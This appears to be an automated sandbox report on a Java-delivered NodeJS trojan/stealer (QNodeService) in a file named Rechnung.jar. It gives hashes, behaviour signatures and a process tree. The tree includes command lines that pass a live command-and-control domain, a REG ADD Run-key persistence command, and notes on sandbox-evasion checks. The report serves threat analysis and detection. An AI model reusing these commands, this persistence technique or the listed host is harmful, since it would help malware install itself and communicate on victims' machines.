Analysis
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max time kernel
40s -
max time network
129s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
10-11-2020 23:38
Static task
static1
Behavioral task
behavioral1
Sample
Rechnung.jar
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Rechnung.jar
Resource
win10v20201028
General
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Target
Rechnung.jar
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Size
106KB
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MD5
126760476a6daefa180ec5d62e4d8384
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SHA1
a9c1761c7eea022303918e4a97d6ee20481a0e7e
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SHA256
9c4265f1cbaa388bb7e281633c441a52b63b4f8462182a85beebc4e148a152a6
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SHA512
cd8c71196f2f7c07003972cd970bc0121eb7129a3abc082571371d72eb397f70424fac760a4fa8451104b4d1ecf92e9ee73895e48e6311e68c02e06a47df13f2
Malware Config
Signatures
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QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
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Executes dropped EXE 3 IoCs
Processes:
node.exenode.exenode.exepid process 3740 node.exe 3980 node.exe 908 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\dc9c5c7b-6f68-40e4-9d36-e6b11683f892 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
Processes:
resource yara_rule C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 23 wtfismyip.com 24 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
node.exenode.exenode.exepid process 3740 node.exe 3740 node.exe 3740 node.exe 3740 node.exe 3980 node.exe 3980 node.exe 3980 node.exe 3980 node.exe 908 node.exe 908 node.exe 908 node.exe 908 node.exe 908 node.exe 908 node.exe 908 node.exe 908 node.exe 908 node.exe 908 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
java.exejavaw.exenode.exenode.exenode.execmd.exedescription pid process target process PID 1028 wrote to memory of 1032 1028 java.exe javaw.exe PID 1028 wrote to memory of 1032 1028 java.exe javaw.exe PID 1032 wrote to memory of 3740 1032 javaw.exe node.exe PID 1032 wrote to memory of 3740 1032 javaw.exe node.exe PID 3740 wrote to memory of 3980 3740 node.exe node.exe PID 3740 wrote to memory of 3980 3740 node.exe node.exe PID 3980 wrote to memory of 908 3980 node.exe node.exe PID 3980 wrote to memory of 908 3980 node.exe node.exe PID 908 wrote to memory of 2576 908 node.exe cmd.exe PID 908 wrote to memory of 2576 908 node.exe cmd.exe PID 2576 wrote to memory of 3184 2576 cmd.exe reg.exe PID 2576 wrote to memory of 3184 2576 cmd.exe reg.exe
Processes
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C:\ProgramData\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\Rechnung.jar1⤵
- Suspicious use of WriteProcessMemory
PID:1028 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3260f424.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3740 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_3cY3SY\boot.js --hub-domain september101991.ddns.net4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3980 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_3cY3SY\boot.js --hub-domain september101991.ddns.net5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:908 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dc9c5c7b-6f68-40e4-9d36-e6b11683f892" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dc9c5c7b-6f68-40e4-9d36-e6b11683f892" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:3184
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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MD5
126760476a6daefa180ec5d62e4d8384
SHA1a9c1761c7eea022303918e4a97d6ee20481a0e7e
SHA2569c4265f1cbaa388bb7e281633c441a52b63b4f8462182a85beebc4e148a152a6
SHA512cd8c71196f2f7c07003972cd970bc0121eb7129a3abc082571371d72eb397f70424fac760a4fa8451104b4d1ecf92e9ee73895e48e6311e68c02e06a47df13f2
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MD5
3859487feb5152e9d1afc4f8cd320608
SHA17bf154c9ddf3a71abf15906cdb60773e8ae07b62
SHA2568d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13
SHA512826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8
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MD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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MD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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MD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac